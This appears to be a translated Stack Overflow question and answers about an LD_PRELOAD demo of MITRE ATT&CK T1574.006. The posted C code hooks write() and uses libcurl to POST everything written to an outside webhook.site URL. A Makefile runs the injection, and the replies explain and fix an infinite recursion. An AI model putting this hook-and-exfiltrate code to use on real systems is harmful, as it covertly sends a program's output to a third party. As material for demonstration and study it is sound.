libcurl和LD_预加载

libcurl和LD_预加载,c,libcurl,ld-preload,C,Libcurl,Ld Preload,为了在安全会议上演示Mitre ATT&CK ID T1574.006,我正在创建一个使用LD_PRELOAD的程序的小示例。大部分情况下我都可以使用它,但是我遇到的一个问题是在演示中使用libcurl。当我在这里使用示例POST代码时:我的程序一直循环,直到我终止它,并且不发布任何数据 如果有人能给我指出正确的方向,我将不胜感激。基本上,我要做的是在返回标准写函数之前将数据发布到站点 代码如下: main.c #include <unistd.h> #include <str

为了在安全会议上演示Mitre ATT&CK ID T1574.006,我正在创建一个使用LD_PRELOAD的程序的小示例。大部分情况下我都可以使用它,但是我遇到的一个问题是在演示中使用libcurl。当我在这里使用示例POST代码时:我的程序一直循环,直到我终止它,并且不发布任何数据

如果有人能给我指出正确的方向,我将不胜感激。基本上,我要做的是在返回标准写函数之前将数据发布到站点

代码如下:

main.c

#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {
    const char *msg = "Hello write\n";
    // 1 writes to stdout file descriptor
    write(1, msg, strlen(msg));
    return 0;
}
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <curl/curl.h>
#include <string.h>
void postData(char *postData) {

  CURL *curl;
  CURLcode res;

  /* In windows, this will init the winsock stuff */
  curl_global_init(CURL_GLOBAL_ALL);

  char testData[500];
  strcpy(testData, "testData=");
  strcat(testData, postData);
  printf("%s\n", testData);

  /* get a curl handle */
  curl = curl_easy_init();
  if(curl) {
    /* First set the URL that is about to receive our POST. This URL can
       just as well be a https:// URL if that is what should receive the
       data. */
    curl_easy_setopt(curl, CURLOPT_URL, "https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx");
    /* Now specify the POST data */
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, testData);

    /* Perform the request, res will get the return code */
    res = curl_easy_perform(curl);
    /* Check for errors */
    if(res != CURLE_OK)
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));

    /* always cleanup */
    curl_easy_cleanup(curl);
  }
  curl_global_cleanup();
}

ssize_t write(int fd, const void *buf, size_t count) {

  char *p = (char *)buf;
  printf("From main: %s\n", p);
  postData(p);  

  // Look up the next write symbol
  ssize_t (*orig_write)(int fd, const void *buf, size_t count) = dlsym(RTLD_NEXT, "write");

  return orig_write(fd, buf, count);
}

postData
可以进行
write
调用(例如在
postData
中进行的
printf
fprintf
调用)。由于
write
被拦截,它从
postData
调用被拦截的
write
函数……然后再次转到
postData
并继续。所以“循环”就是这样发生的

您需要确保
postData
中没有调用
write
。如果你真的需要打印一些东西,你必须用另一种方式。您可以改为使用
syscall
(Linux)


如果任何
curl.*
函数碰巧调用
write

的话,同样的情况也会发生在它们身上。如果有人回到这里,我最终使用了
unsetenv
,这就解决了我的问题

谢谢!这完全有道理。当我把这些放在一起的时候,从来没有考虑过。我还在读LD_预装的资料。您知道我是否希望避免这种行为是派生子进程,然后在子进程中使用unsetenv的最佳方案吗?我认为在
postData
调用
write
中确保没有任何问题(您可以通过检查curl代码轻松验证这一点)
fork
方法也很好,但如果您要为每个
write
调用使用fork,则效率不高。另外,在分叉之前,您需要
unsetenv
(因为一旦
write
解析到被拦截的调用,unsetenv就无法更改任何内容)。
TARGET = example_6

all: main.c
        gcc main.c -g -o ${TARGET}
        gcc -shared -g -fPIC inject.c -o inject.so -ldl
run:
        LD_PRELOAD=./inject.so ./${TARGET}
syscall(SYS_write, STDOUT_FILENO, testData, strlen(testData));